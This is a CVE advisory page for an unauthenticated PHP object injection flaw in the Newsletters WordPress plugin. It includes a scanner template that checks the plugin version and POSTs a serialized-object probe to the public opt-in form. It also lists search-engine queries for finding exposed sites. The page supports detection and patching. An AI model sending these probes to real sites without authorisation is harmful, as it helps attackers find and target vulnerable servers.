CVE-2026-12583: Newsletters < 4.15 - Unauthenticated PHP Object Injection via Subscriber Custom Field

2026-11-09 PoC Public

Description

The Newsletters WordPress plugin before 4.15 does not prevent deserialization of untrusted input that is stored through a public form, allowing unauthenticated attackers to inject a PHP object and, via a property-oriented gadget chain bundled with the Newsletters WordPress plugin before 4.15, write arbitrary files and execute code on the server.

Details

CVE
CVE-2026-12583 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-12583

info:
  name: Newsletters < 4.15 - Unauthenticated PHP Object Injection via Subscriber Custom Field
  author: yaswanth
  severity: high
  description: |
    The Newsletters WordPress plugin before 4.15 does not prevent deserialization of untrusted input that is stored through a public form, allowing unauthenticated attackers to inject a PHP object and, via a property-oriented gadget chain bundled with the Newsletters WordPress plugin before 4.15, write arbitrary files and execute code on the server.
  impact: |
    Unauthenticated attackers can execute arbitrary code and write files on the server, leading to full server compromise.
  remediation: Update the Newsletters plugin to version 4.15 or later.
  reference:
    - https://wpscan.com/vulnerability/e4c44105-f43d-4dff-8487-7d8ae2691c4e
    - https://nvd.nist.gov/vuln/detail/CVE-2026-12583
    - https://www.cve.org/CVERecord?id=CVE-2026-12583
    - https://wordpress.org/plugins/newsletters-lite/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2026-12583
    epss-score: 0.02027
    epss-percentile: 0.81146
    cwe-id: CWE-502
  metadata:
    verified: true
    max-request: 2
    vendor: newsletters-lite
    product: newsletters-lite
    framework: wordpress
    publicwww-query: "/wp-content/plugins/newsletters-lite"
    fofa-query: body="/wp-content/plugins/newsletters-lite"
  tags: cve,cve2026,wordpress,wp-plugin,newsletters-lite,unauth,deserialization,object-injection,rce

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/newsletters-lite/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'compare_versions(version, "< 4.15")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        internal: true
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'

  - raw:
      - |
        POST /?wpmlmethod=optin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        email={{randstr}}%40example.com&list_id%5B%5D=1&consent%5B%5D=1&firstname=O%3A1%3A%22a%22%3A0%3A%7B%7D

    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - '(?i)location:.*wpmlmethod=optin'

      - type: status
        status:
          - 302
# digest: 4a0a0047304502205efc6af442b606bbd1cb28663bc867e6851e3d85316260e7bcbd43ae40892b70022100832eaf59c93a1dd8626eae1f3c881487ae60cb94e2432691d6960f3ca1c34e57:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life